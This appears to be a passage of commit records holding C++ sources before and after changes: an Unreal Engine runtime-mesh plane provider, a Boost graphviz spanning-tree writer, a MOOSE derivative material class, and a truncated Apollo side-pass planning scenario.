automatically switches to 32bit indices\/\/ Copyright 2016-2019 Chris Conway (Koderz). All Rights Reserved.\n\n\n#include \"RuntimeMeshProviderPlane.h\"\n\n\nFRuntimeMeshProviderPlaneProxy::FRuntimeMeshProviderPlaneProxy(TWeakObjectPtr InParent)\n\t: FRuntimeMeshProviderProxy(InParent)\n{\n\n}\n\nFRuntimeMeshProviderPlaneProxy::~FRuntimeMeshProviderPlaneProxy()\n{\n\n}\n\nvoid FRuntimeMeshProviderPlaneProxy::UpdateProxyParameters(URuntimeMeshProvider* ParentProvider, bool bIsInitialSetup)\n{\n\tURuntimeMeshProviderPlane* PlaneProvider = Cast(ParentProvider);\n\tMarkCollisionDirty();\n\tif (LocationA != PlaneProvider->LocationA || LocationB != PlaneProvider->LocationB || LocationC != PlaneProvider->LocationC)\n\t{\n\t\tLocationA = PlaneProvider->LocationA;\n\t\tLocationB = PlaneProvider->LocationB;\n\t\tLocationC = PlaneProvider->LocationC;\n\t\tMarkSectionDirty(INDEX_NONE, 0); \/\/Mark all LODs dirty\n\t}\n\tbool bHasParameterChanged = false;\n\tTArray VertsABBefore = VertsAB, VertsACBefore = VertsAC;\n\tif (VertsAB != PlaneProvider->VertsAB)\n\t{\n\t\tbHasParameterChanged = true;\n\t\tVertsAB = PlaneProvider->VertsAB;\n\t}\n\tif (VertsAC != PlaneProvider->VertsAC)\n\t{\n\t\tbHasParameterChanged = true;\n\t\tVertsAC = PlaneProvider->VertsAC;\n\t}\n\tif (ScreenSize != PlaneProvider->ScreenSize)\n\t{\n\t\tbHasParameterChanged = true;\n\t\tScreenSize = PlaneProvider->ScreenSize;\n\t}\n\tMaterial = PlaneProvider->Material;\n\tint32 MaxLODBefore = MaxLOD;\n\tMaxLOD = GetMaximumPossibleLOD();\n\tif (!bIsInitialSetup && bHasParameterChanged)\n\t{\n\t\tfor (int32 LODIndex = 0; LODIndex <= MaxLOD; LODIndex++)\n\t\t{\n\t\t\tFRuntimeMeshLODProperties LODProperties;\n\t\t\tLODProperties.ScreenSize = LODIndex >= ScreenSize.Num() ? 0.0 : ScreenSize[LODIndex];\n\t\t\tConfigureLOD(LODIndex, LODProperties);\n\n\t\t\tif (LODIndex >= MaxLODBefore) \/\/Section is new\n\t\t\t{\n\t\t\t\tFRuntimeMeshSectionProperties Properties;\n\t\t\t\tProperties.bCastsShadow = true;\n\t\t\t\tProperties.bIsVisible = true;\n\t\t\t\tProperties.MaterialSlot = 0;\n\t\t\t\tProperties.UpdateFrequency = ERuntimeMeshUpdateFrequency::Infrequent;\n\t\t\t\tProperties.bWants32BitIndices = VertsAB[LODIndex] * VertsAC[LODIndex] >= 1 << 16; \/\/Use 32 bit indices if more than 2^16 verts are needed\n\n\t\t\t\tCreateSection(LODIndex, 0, Properties);\n\t\t\t}\n\t\t\telse if(VertsAB[LODIndex] != VertsABBefore[LODIndex] || VertsAC[LODIndex] != VertsACBefore[LODIndex])\n\t\t\t{\n\t\t\t\tMarkSectionDirty(LODIndex, 0);\n\t\t\t}\n\t\t}\n\t\tfor (int32 LODIndex = MaxLOD; LODIndex < MaxLODBefore; LODIndex++)\n\t\t{\n\t\t\tRemoveSection(LODIndex, 0);\n\t\t}\n\t}\n\t\n}\n\nvoid FRuntimeMeshProviderPlaneProxy::Initialize()\n{\n\tfor (int32 LODIndex = 0; LODIndex <= MaxLOD; LODIndex++)\n\t{\n\t\tFRuntimeMeshLODProperties LODProperties;\n\t\tLODProperties.ScreenSize = LODIndex >= ScreenSize.Num() ? 0.0 : ScreenSize[LODIndex];\n\t\tConfigureLOD(LODIndex, LODProperties);\n\t\t\n\t\tFRuntimeMeshSectionProperties Properties;\n\t\tProperties.bCastsShadow = true;\n\t\tProperties.bIsVisible = true;\n\t\tProperties.MaterialSlot = 0;\n\t\tProperties.UpdateFrequency = ERuntimeMeshUpdateFrequency::Infrequent;\n\t\tCreateSection(LODIndex, 0, Properties);\n\n\t}\n\tSetupMaterialSlot(0, FName(\"Plane Base\"), Material.Get());\n}\n\n\nbool FRuntimeMeshProviderPlaneProxy::GetSectionMeshForLOD(int32 LODIndex, int32 SectionId, FRuntimeMeshRenderableMeshData& MeshData)\n{\n\t\/\/ We should only ever be queried for section 0\n\tcheck(SectionId == 0 && LODIndex <= MaxLOD);\n\t\/\/UE_LOG(LogTemp, Log, TEXT(\"Asking for LOD index %i, VertsAB len = %i, VertsAC len = %i\"), LODIndex, VertsAB.Num(), VertsAC.Num());\n\t\/\/return true;\n\tint32 NumVertsAB = VertsAB[LODIndex], NumVertsAC = VertsAC[LODIndex];\n\tFVector ABDirection = (LocationB - LocationA) \/ (NumVertsAB - 1);\n\tFVector ACDirection = (LocationC - LocationA) \/ (NumVertsAB - 1);\n\tFVector Normal = (ACDirection ^ ABDirection).GetUnsafeNormal();\n\tFVector Tangent = ABDirection.GetUnsafeNormal();\n\tFColor Color = FColor::White;\n\tfor (int32 ACIndex = 0; ACIndex < NumVertsAC; ACIndex++)\n\t{\n\t\tfor (int32 ABIndex = 0; ABIndex < NumVertsAB; ABIndex++)\n\t\t{\n\t\t\tFVector Location = LocationA + ABDirection * ABIndex + ACDirection * ACIndex;\n\t\t\tFVector2D TexCoord = FVector2D(ABIndex \/ NumVertsAB, ACIndex \/ NumVertsAC);\n\t\t\tMeshData.Positions.Add(Location);\n\t\t\tMeshData.Tangents.Add(Normal, Tangent);\n\t\t\tMeshData.Colors.Add(Color);\n\t\t\tMeshData.TexCoords.Add(TexCoord);\n\t\t\tif (ABIndex != NumVertsAB - 1 && ACIndex != NumVertsAC - 1)\n\t\t\t{\n\t\t\t\tint32 AIndex = ABIndex + ACIndex * NumVertsAB;\n\t\t\t\tint32 BIndex = AIndex + 1;\n\t\t\t\tint32 CIndex = AIndex + NumVertsAB;\n\t\t\t\tint32 DIndex = CIndex + 1;\n\t\t\t\tMeshData.Triangles.AddTriangle(AIndex, CIndex, BIndex);\n\t\t\t\tMeshData.Triangles.AddTriangle(BIndex, CIndex, DIndex);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true;\n}\n\nFRuntimeMeshCollisionSettings FRuntimeMeshProviderPlaneProxy::GetCollisionSettings()\n{\n\tFRuntimeMeshCollisionSettings Settings;\n\tSettings.bUseAsyncCooking = false;\n\tSettings.bUseComplexAsSimple = true;\n\t \t \n\treturn Settings;\n}\n\nbool FRuntimeMeshProviderPlaneProxy::HasCollisionMesh()\n{\n\treturn false;\n}\n\nbool FRuntimeMeshProviderPlaneProxy::GetCollisionMesh(FRuntimeMeshCollisionData& CollisionData)\n{\n\treturn false;\n}\n\nURuntimeMeshProviderPlane::URuntimeMeshProviderPlane()\n{\n\tLocationA = FVector(100, -100, 0);\n\tLocationB = FVector(100, 100, 0);\n\tLocationC = FVector(-100, -100, 0);\n\tVertsAB = TArray({100,10,1});\n\tVertsAC = TArray({100,10,1});\n\tScreenSize = TArray({ 0.1,0.01 });\n}<|endoftext|>"} {"text":"\/\/ (C) 2014 Arek Olek\n\n#pragma once\n\n#include \n\n#include \n#include \n\nstruct graph_writer {\n bool labels;\n graph_writer(bool l) : labels(l) {}\n virtual void operator()(std::ostream& out) const {\n if(labels) {\n out << \"node [shape=circle color=burlywood style=filled]\" << std::endl;\n out << \"edge [style=dashed color=burlywood penwidth=4 weight=0.3]\" << std::endl;\n } else {\n out << \"node [shape=point color=burlywood style=filled label=\\\"\\\" width=0.05]\" << std::endl;\n out << \"edge [style=dashed color=burlywood]\" << std::endl;\n }\n }\n};\n\ntemplate \nclass node_writer {\npublic:\n node_writer(Graph const& t) : T(t) {}\n template \n void operator()(std::ostream& out, const V& v) const {\n if(out_degree(v, T) == 1)\n out << \"[shape=square color=forestgreen]\";\n if(out_degree(v, T) > 2)\n out << \"[color=brown1]\";\n }\nprivate:\n Graph const& T;\n};\n\ntemplate \nnode_writer make_node_writer(Graph t) {\n return node_writer(t);\n}\n\ntemplate\nclass edge_writer {\npublic:\n edge_writer(Graph const& g, Tree const& t) : G(g), T(t) {}\n template \n void operator()(std::ostream& out, const E& e) const {\n if(edge(source(e, G), target(e, G), T).second)\n out << \"[style=solid]\";\n }\nprivate:\n Graph const& G;\n Tree const& T;\n};\n\ntemplate\nedge_writer make_edge_writer(Graph g, Tree t) {\n return edge_writer(g, t);\n}\n\ntemplate\nvoid show(std::string file, Graph const & g, Tree const & t) {\n std::ofstream f(file);\n write_graphviz(f, g,\n make_node_writer(t),\n make_edge_writer(g, t),\n graph_writer(num_vertices(g) < 30));\n f.close();\n}\ndraw graph without spanning tree\/\/ (C) 2014 Arek Olek\n\n#pragma once\n\n#include \n\n#include \n#include \n\nstruct graph_writer {\n bool labels;\n graph_writer(bool l) : labels(l) {}\n virtual void operator()(std::ostream& out) const {\n if(labels) {\n out << \"node [shape=circle color=burlywood style=filled]\" << std::endl;\n out << \"edge [style=dashed color=burlywood penwidth=4 weight=0.3]\" << std::endl;\n } else {\n out << \"node [shape=point color=burlywood style=filled label=\\\"\\\" width=0.05]\" << std::endl;\n out << \"edge [style=dashed color=burlywood]\" << std::endl;\n }\n }\n};\n\ntemplate \nclass node_writer {\npublic:\n node_writer(Graph const& t) : T(t) {}\n template \n void operator()(std::ostream& out, const V& v) const {\n if(out_degree(v, T) == 1)\n out << \"[shape=square color=forestgreen]\";\n if(out_degree(v, T) > 2)\n out << \"[color=brown1]\";\n }\nprivate:\n Graph const& T;\n};\n\ntemplate \nnode_writer make_node_writer(Graph t) {\n return node_writer(t);\n}\n\ntemplate\nclass edge_writer {\npublic:\n edge_writer(Graph const& g, Tree const& t) : G(g), T(t) {}\n template \n void operator()(std::ostream& out, const E& e) const {\n if(edge(source(e, G), target(e, G), T).second)\n out << \"[style=solid]\";\n }\nprivate:\n Graph const& G;\n Tree const& T;\n};\n\ntemplate\nedge_writer make_edge_writer(Graph g, Tree t) {\n return edge_writer(g, t);\n}\n\ntemplate\nvoid show(std::string file, Graph const & g, Tree const & t) {\n std::ofstream f(file);\n write_graphviz(f, g,\n make_node_writer(t),\n make_edge_writer(g, t),\n graph_writer(num_vertices(g) < 30));\n f.close();\n}\n\ntemplate\nvoid show(std::string file, Graph const & g) {\n std::ofstream f(file);\n write_graphviz(f, g,\n boost::default_writer(),\n boost::default_writer(),\n graph_writer(false));\n f.close();\n}\n<|endoftext|>"} {"text":"#include \"DerivativeBaseMaterial.h\"\n\ntemplate<>\nInputParameters validParams()\n{\n InputParameters params = validParams();\n params.addClassDescription(\"KKS model helper material to provide the free energy and its first and second derivatives\");\n params.addParam(\"f_name\", \"F\", \"Base name of the free energy function (used to name the material properties)\");\n params.addRequiredCoupledVar(\"args\", \"Arguments of F() - use vector coupling\");\n params.addParam(\"third_derivatives\", true, \"Calculate third derivatoves of the free energy\");\n return params;\n}\n\nDerivativeBaseMaterial::DerivativeBaseMaterial(const std::string & name,\n InputParameters parameters) :\n DerivativeMaterialInterface(name, parameters),\n _F_name(getParam(\"f_name\")),\n _nargs(coupledComponents(\"args\")),\n _third_derivatives(getParam(\"third_derivatives\")),\n _prop_F(&declareProperty(_F_name))\n{\n \/\/ loop counters\n unsigned int i, j, k;\n\n \/\/ coupled variables\n _args.resize(_nargs);\n\n \/\/ reserve space for material properties\n _prop_dF.resize(_nargs);\n _prop_d2F.resize(_nargs);\n _prop_d3F.resize(_nargs);\n for (i = 0; i < _nargs; ++i)\n {\n _prop_d2F[i].resize(_nargs);\n\n \/\/ TODO: maybe we should reserve and initialize to NULL...\n if (_third_derivatives) {\n _prop_d3F[i].resize(_nargs);\n\n for (unsigned int j = 0; j < _nargs; ++j)\n _prop_d3F[i][j].resize(_nargs);\n }\n }\n\n \/\/ fetch names of variables in args\n _arg_names.resize(_nargs);\n for (i = 0; i < _nargs; ++i)\n _arg_names[i] = getVar(\"args\", i)->name();\n\n \/\/ initialize derivatives\n for (i = 0; i < _nargs; ++i)\n {\n \/\/ get the coupled variable to use as function arguments\n _args[i] = &coupledValue(\"args\", i);\n\n \/\/ first derivatives\n _prop_dF[i] = &declareProperty(propertyNameFirst(_F_name, _arg_names[i]));\n\n \/\/ second derivatives\n for (j = i; j < _nargs; ++j)\n {\n _prop_d2F[i][j] =\n _prop_d2F[j][i] =\n &declareProperty(\n propertyNameSecond(_F_name, _arg_names[i], _arg_names[j])\n );\n\n \/\/ third derivatives\n if (_third_derivatives)\n {\n for (k = j; k < _nargs; ++k)\n {\n \/\/ filling all permutations does not cost us much and simplifies access\n \/\/ (no need to check i<=j<=k)\n _prop_d3F[i][j][k] =\n _prop_d3F[k][i][j] =\n _prop_d3F[j][k][i] =\n _prop_d3F[k][j][i] =\n _prop_d3F[j][i][k] =\n _prop_d3F[i][k][j] =\n &declareProperty(\n propertyNameThird(_F_name, _arg_names[i], _arg_names[j], _arg_names[k])\n );\n }\n }\n }\n }\n}\n\nvoid\nDerivativeBaseMaterial::initialSetup()\n{\n if (_nargs != expectedNumArgs()) {\n mooseError(\"Wrong number of arguments supplied for DerivativeBaseMaterial \" + _F_name);\n }\n\n \/\/ set the _prop_* pointers of all material poroperties that are not beeing used back to NULL\n unsigned int i, j, k;\n bool needs_third_derivatives = false;\n\n if (!_fe_problem.isMatPropRequested(_F_name))\n _prop_F = NULL;\n\n for (i = 0; i < _nargs; ++i)\n {\n if (!_fe_problem.isMatPropRequested(propertyNameFirst(_F_name, _arg_names[i])))\n _prop_dF[i] = NULL;\n\n \/\/ second derivatives\n for (j = i; j < _nargs; ++j)\n {\n if (!_fe_problem.isMatPropRequested(propertyNameSecond(_F_name, _arg_names[i], _arg_names[j])))\n _prop_d2F[i][j] =\n _prop_d2F[j][i] = NULL;\n\n \/\/ third derivatives\n if (_third_derivatives)\n {\n for (k = j; k < _nargs; ++k)\n {\n if (!_fe_problem.isMatPropRequested(propertyNameThird(_F_name, _arg_names[i], _arg_names[j], _arg_names[k])))\n _prop_d3F[i][j][k] =\n _prop_d3F[k][i][j] =\n _prop_d3F[j][k][i] =\n _prop_d3F[k][j][i] =\n _prop_d3F[j][i][k] =\n _prop_d3F[i][k][j] = NULL;\n else\n needs_third_derivatives = true;\n }\n\n if (!needs_third_derivatives)\n mooseWarning(\"This simulation does not actually need the third derivatives of DerivativeBaseMaterial \" + _name);\n }\n }\n }\n}\n\n\/\/ implementing this in the derived class is optional (not really, but we'l have to check what is needed for the residuals!)\nReal\nDerivativeBaseMaterial::computeD3F(unsigned int \/*arg1*\/, unsigned int \/*arg2*\/, unsigned int \/*arg3*\/)\n{\n return 0.0;\n}\n\nvoid\nDerivativeBaseMaterial::computeProperties()\n{\n unsigned int i, j, k;\n\n for (_qp = 0; _qp < _qrule->n_points(); _qp++)\n {\n \/\/ set function value\n if (_prop_F)\n (*_prop_F)[_qp] = computeF();\n\n for (i = 0; i < _nargs; ++i)\n {\n \/\/ set first derivatives\n if (_prop_dF[i])\n (*_prop_dF[i])[_qp] = computeDF(i);\n\n \/\/ second derivatives\n for (j = i; j < _nargs; ++j)\n {\n if (_prop_d2F[i][j])\n (*_prop_d2F[i][j])[_qp] = computeD2F(i, j);\n\n \/\/ third derivatives\n if (_third_derivatives)\n {\n for (k = j; k < _nargs; ++k)\n if (_prop_d3F[i][j][k])\n (*_prop_d3F[i][j][k])[_qp] = computeD3F(i, j, k);\n }\n }\n }\n }\n}\nUse declarePropertyDerivative in DerivativeBaseMaterial (#4300)#include \"DerivativeBaseMaterial.h\"\n\ntemplate<>\nInputParameters validParams()\n{\n InputParameters params = validParams();\n params.addClassDescription(\"KKS model helper material to provide the free energy and its first and second derivatives\");\n params.addParam(\"f_name\", \"F\", \"Base name of the free energy function (used to name the material properties)\");\n params.addRequiredCoupledVar(\"args\", \"Arguments of F() - use vector coupling\");\n params.addParam(\"third_derivatives\", true, \"Calculate third derivatoves of the free energy\");\n return params;\n}\n\nDerivativeBaseMaterial::DerivativeBaseMaterial(const std::string & name,\n InputParameters parameters) :\n DerivativeMaterialInterface(name, parameters),\n _F_name(getParam(\"f_name\")),\n _nargs(coupledComponents(\"args\")),\n _third_derivatives(getParam(\"third_derivatives\")),\n _prop_F(&declareProperty(_F_name))\n{\n \/\/ loop counters\n unsigned int i, j, k;\n\n \/\/ coupled variables\n _args.resize(_nargs);\n\n \/\/ reserve space for material properties\n _prop_dF.resize(_nargs);\n _prop_d2F.resize(_nargs);\n _prop_d3F.resize(_nargs);\n for (i = 0; i < _nargs; ++i)\n {\n _prop_d2F[i].resize(_nargs);\n\n \/\/ TODO: maybe we should reserve and initialize to NULL...\n if (_third_derivatives) {\n _prop_d3F[i].resize(_nargs);\n\n for (unsigned int j = 0; j < _nargs; ++j)\n _prop_d3F[i][j].resize(_nargs);\n }\n }\n\n \/\/ fetch names of variables in args\n _arg_names.resize(_nargs);\n for (i = 0; i < _nargs; ++i)\n _arg_names[i] = getVar(\"args\", i)->name();\n\n \/\/ initialize derivatives\n for (i = 0; i < _nargs; ++i)\n {\n \/\/ get the coupled variable to use as function arguments\n _args[i] = &coupledValue(\"args\", i);\n\n \/\/ first derivatives\n _prop_dF[i] = &declarePropertyDerivative(_F_name, _arg_names[i]);\n\n \/\/ second derivatives\n for (j = i; j < _nargs; ++j)\n {\n _prop_d2F[i][j] =\n _prop_d2F[j][i] = &declarePropertyDerivative(_F_name, _arg_names[i], _arg_names[j]);\n\n \/\/ third derivatives\n if (_third_derivatives)\n {\n for (k = j; k < _nargs; ++k)\n {\n \/\/ filling all permutations does not cost us much and simplifies access\n \/\/ (no need to check i<=j<=k)\n _prop_d3F[i][j][k] =\n _prop_d3F[k][i][j] =\n _prop_d3F[j][k][i] =\n _prop_d3F[k][j][i] =\n _prop_d3F[j][i][k] =\n _prop_d3F[i][k][j] = &declarePropertyDerivative(_F_name, _arg_names[i], _arg_names[j], _arg_names[k]);\n }\n }\n }\n }\n}\n\nvoid\nDerivativeBaseMaterial::initialSetup()\n{\n if (_nargs != expectedNumArgs()) {\n mooseError(\"Wrong number of arguments supplied for DerivativeBaseMaterial \" + _F_name);\n }\n\n \/\/ set the _prop_* pointers of all material poroperties that are not beeing used back to NULL\n unsigned int i, j, k;\n bool needs_third_derivatives = false;\n\n if (!_fe_problem.isMatPropRequested(_F_name))\n _prop_F = NULL;\n\n for (i = 0; i < _nargs; ++i)\n {\n if (!_fe_problem.isMatPropRequested(propertyNameFirst(_F_name, _arg_names[i])))\n _prop_dF[i] = NULL;\n\n \/\/ second derivatives\n for (j = i; j < _nargs; ++j)\n {\n if (!_fe_problem.isMatPropRequested(propertyNameSecond(_F_name, _arg_names[i], _arg_names[j])))\n _prop_d2F[i][j] =\n _prop_d2F[j][i] = NULL;\n\n \/\/ third derivatives\n if (_third_derivatives)\n {\n for (k = j; k < _nargs; ++k)\n {\n if (!_fe_problem.isMatPropRequested(propertyNameThird(_F_name, _arg_names[i], _arg_names[j], _arg_names[k])))\n _prop_d3F[i][j][k] =\n _prop_d3F[k][i][j] =\n _prop_d3F[j][k][i] =\n _prop_d3F[k][j][i] =\n _prop_d3F[j][i][k] =\n _prop_d3F[i][k][j] = NULL;\n else\n needs_third_derivatives = true;\n }\n\n if (!needs_third_derivatives)\n mooseWarning(\"This simulation does not actually need the third derivatives of DerivativeBaseMaterial \" + _name);\n }\n }\n }\n}\n\n\/\/ implementing this in the derived class is optional (not really, but we'l have to check what is needed for the residuals!)\nReal\nDerivativeBaseMaterial::computeD3F(unsigned int \/*arg1*\/, unsigned int \/*arg2*\/, unsigned int \/*arg3*\/)\n{\n return 0.0;\n}\n\nvoid\nDerivativeBaseMaterial::computeProperties()\n{\n unsigned int i, j, k;\n\n for (_qp = 0; _qp < _qrule->n_points(); _qp++)\n {\n \/\/ set function value\n if (_prop_F)\n (*_prop_F)[_qp] = computeF();\n\n for (i = 0; i < _nargs; ++i)\n {\n \/\/ set first derivatives\n if (_prop_dF[i])\n (*_prop_dF[i])[_qp] = computeDF(i);\n\n \/\/ second derivatives\n for (j = i; j < _nargs; ++j)\n {\n if (_prop_d2F[i][j])\n (*_prop_d2F[i][j])[_qp] = computeD2F(i, j);\n\n \/\/ third derivatives\n if (_third_derivatives)\n {\n for (k = j; k < _nargs; ++k)\n if (_prop_d3F[i][j][k])\n (*_prop_d3F[i][j][k])[_qp] = computeD3F(i, j, k);\n }\n }\n }\n }\n}\n<|endoftext|>"} {"text":"\/******************************************************************************\n * Copyright 2018 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n **\/\n\n#include \"modules\/planning\/scenarios\/side_pass\/side_pass_scenario.h\"\n\n#include \n#include \n#include \n\n#include \"cyber\/common\/log.h\"\n#include \"modules\/common\/math\/math_utils.h\"\n#include \"modules\/common\/time\/time.h\"\n#include \"modules\/common\/util\/file.h\"\n#include \"modules\/common\/util\/string_tokenizer.h\"\n#include \"modules\/common\/util\/string_util.h\"\n#include \"modules\/common\/vehicle_state\/vehicle_state_provider.h\"\n#include \"modules\/map\/hdmap\/hdmap.h\"\n#include \"modules\/map\/hdmap\/hdmap_common.h\"\n#include \"modules\/planning\/common\/ego_info.h\"\n#include \"modules\/planning\/common\/frame.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n#include \"modules\/planning\/constraint_checker\/constraint_checker.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/dp_poly_path\/dp_poly_path_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/dp_st_speed\/dp_st_speed_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/path_decider\/path_decider.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/poly_st_speed\/poly_st_speed_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/qp_spline_path\/qp_spline_path_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/qp_spline_st_speed\/qp_spline_st_speed_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/speed_decider\/speed_decider.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing common::ErrorCode;\nusing common::SLPoint;\nusing common::SpeedPoint;\nusing common::TrajectoryPoint;\nusing common::math::Vec2d;\nusing common::time::Clock;\n\nnamespace {\nconstexpr double kPathOptimizationFallbackCost = 2e4;\nconstexpr double kSpeedOptimizationFallbackCost = 2e4;\nconstexpr double kStraightForwardLineCost = 10.0;\n} \/\/ namespace\n\nvoid SidePassScenario::Init() {\n if (init_) {\n return;\n }\n\n Scenario::Init();\n\n init_ = true;\n}\n\napollo::common::util::Factory<\n ScenarioConfig::StageType, Stage,\n Stage* (*)(const ScenarioConfig::StageConfig& stage_config)>\n SidePassScenario::s_stage_factory_;\n\nvoid SidePassScenario::RegisterStages() {\n s_stage_factory_.Clear();\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_APPROACH_OBSTACLE,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassApproachObstacle(config);\n });\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_DETECT_SAFETY,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassDetectSafety(config);\n });\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_GENERATE_PATH,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassGeneratePath(config);\n });\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_STOP_ON_WAITPOINT,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassStopOnWaitPoint(config);\n });\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_PASS_OBSTACLE,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassPassObstacle(config);\n });\n}\n\nstd::unique_ptr SidePassScenario::CreateStage(\n const ScenarioConfig::StageConfig& stage_config) {\n if (s_stage_factory_.Empty()) {\n RegisterStages();\n }\n auto ptr = s_stage_factory_.CreateObjectOrNull(stage_config.stage_type(),\n stage_config);\n ptr->SetContext(&side_pass_context_);\n return ptr;\n}\n\nbool SidePassScenario::IsTransferable(const Scenario& current_scenario,\n const common::TrajectoryPoint& ego_point,\n const Frame& frame) const {\n if (frame.reference_line_info().size() > 1) {\n return false;\n }\n if (current_scenario.scenario_type() == ScenarioConfig::SIDE_PASS) {\n return (current_scenario.GetStatus() !=\n Scenario::ScenarioStatus::STATUS_DONE);\n } else if (current_scenario.scenario_type() != ScenarioConfig::LANE_FOLLOW) {\n return false;\n } else {\n return IsSidePassScenario(ego_point, frame);\n }\n}\n\nStage::StageStatus SidePassApproachObstacle::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n bool plan_ok = PlanningOnReferenceLine(planning_start_point, frame);\n if (!plan_ok) {\n return Stage::ERROR;\n }\n if (frame->vehicle_state().linear_velocity() < 1.0e-5) {\n next_stage_ = ScenarioConfig::SIDE_PASS_GENERATE_PATH;\n return Stage::FINISHED;\n }\n return Stage::RUNNING;\n}\n\nStage::StageStatus SidePassGeneratePath::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n if (PlanningOnReferenceLine(planning_start_point, frame)) {\n next_stage_ = ScenarioConfig::SIDE_PASS_STOP_ON_WAITPOINT;\n return Stage::FINISHED;\n } else {\n return Stage::ERROR;\n }\n}\n\nStage::StageStatus SidePassStopOnWaitPoint::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n bool all_far_away = false;\n const PathDecision& path_decision =\n frame->reference_line_info().front().path_decision();\n for (const auto* path_obstacle : path_decision.path_obstacles().Items()) {\n if (path_obstacle->obstacle()->IsVirtual()) {\n continue;\n }\n \/\/ TODO(All): check all ST boundaries are far away.\n }\n if (!all_far_away) {\n \/\/ wait here, do nothing this cycle.\n return Stage::RUNNING;\n }\n double move_forward_distance = 5.0;\n for (const auto& path_point :\n GetContext()->path_data_.discretized_path().path_points()) {\n \/\/ TODO(All):\n \/\/ (1) check if the ego car on path_point will partially go into the\n \/\/ neighbor\n \/\/ lane.\n \/\/ (2) update move_forward_distance\n CHECK_GE(path_point.s(), 0.0);\n CHECK_GE(move_forward_distance, 0.0);\n }\n \/\/ TODO(All):\n \/\/ (1) call proceed with cautious\n \/\/ (2) combine path and speed.\n\n next_stage_ = ScenarioConfig::SIDE_PASS_DETECT_SAFETY;\n return Stage::FINISHED;\n}\n\nStage::StageStatus SidePassDetectSafety::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n if (PlanningOnReferenceLine(planning_start_point, frame)) {\n return Stage::ERROR;\n }\n bool is_safe = true;\n const PathDecision& path_decision =\n frame->reference_line_info().front().path_decision();\n for (const auto* path_obstacle : path_decision.path_obstacles().Items()) {\n if (path_obstacle->obstacle()->IsVirtual()) {\n is_safe = false;\n break;\n }\n }\n if (is_safe) {\n next_stage_ = ScenarioConfig::SIDE_PASS_PASS_OBSTACLE;\n return Stage::FINISHED;\n }\n return Stage::RUNNING;\n}\n\nStage::StageStatus SidePassPassObstacle::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n bool plan_ok = PlanningOnReferenceLine(planning_start_point, frame);\n if (!plan_ok) {\n return Stage::ERROR;\n }\n const SLBoundary& adc_sl_boundary =\n frame->reference_line_info().front().AdcSlBoundary();\n const auto& frenet_frame_path =\n frame->reference_line_info().front().path_data().frenet_frame_path();\n const auto& frenet_frame_point =\n frenet_frame_path.PointAt(frenet_frame_path.NumOfPoints() - 1);\n int adc_start_s = adc_sl_boundary.start_s();\n int path_end_s = frenet_frame_point.s();\n if ((path_end_s - adc_start_s) > 20.0) {\n next_stage_ = ScenarioConfig::NO_STAGE;\n return Stage::FINISHED;\n }\n return Stage::RUNNING;\n}\n\nbool SidePassScenario::IsSidePassScenario(\n const common::TrajectoryPoint& planning_start_point,\n const Frame& frame) const {\n const SLBoundary& adc_sl_boundary =\n frame.reference_line_info().front().AdcSlBoundary();\n const PathDecision& path_decision =\n frame.reference_line_info().front().path_decision();\n \/\/ TODO(lianglia-apollo)\n\n return HasBlockingObstacle(adc_sl_boundary, path_decision);\n}\n\nbool SidePassScenario::IsFarFromIntersection(const Frame& frame) {\n if (frame.reference_line_info().size() > 1) {\n return false;\n }\n const SLBoundary& adc_sl_boundary =\n frame.reference_line_info().front().AdcSlBoundary();\n const auto& first_encounters =\n frame.reference_line_info().front().FirstEncounteredOverlaps();\n const double kClearDistance = 15.0; \/\/ in meters\n for (const auto& encounter : first_encounters) {\n if (encounter.first != ReferenceLineInfo::SIGNAL ||\n encounter.first != ReferenceLineInfo::STOP_SIGN) {\n continue;\n }\n if (encounter.second.start_s - adc_sl_boundary.end_s() < kClearDistance) {\n return false;\n }\n }\n return true;\n}\n\nbool SidePassScenario::HasBlockingObstacle(\n const SLBoundary& adc_sl_boundary,\n const PathDecision& path_decision) const {\n \/\/ a blocking obstacle is an obstacle blocks the road when it is not blocked\n \/\/ (by other obstacles or traffic rules)\n for (const auto* path_obstacle : path_decision.path_obstacles().Items()) {\n if (path_obstacle->obstacle()->IsVirtual() ||\n !path_obstacle->obstacle()->IsStatic()) {\n continue;\n }\n CHECK(path_obstacle->obstacle()->IsStatic());\n\n if (path_obstacle->PerceptionSLBoundary().start_s() <=\n adc_sl_boundary.end_s()) { \/\/ such vehicles are behind the adc.\n continue;\n }\n constexpr double kAdcDistanceThreshold = 15.0; \/\/ unit: m\n if (path_obstacle->PerceptionSLBoundary().start_s() >\n adc_sl_boundary.end_s() +\n kAdcDistanceThreshold) { 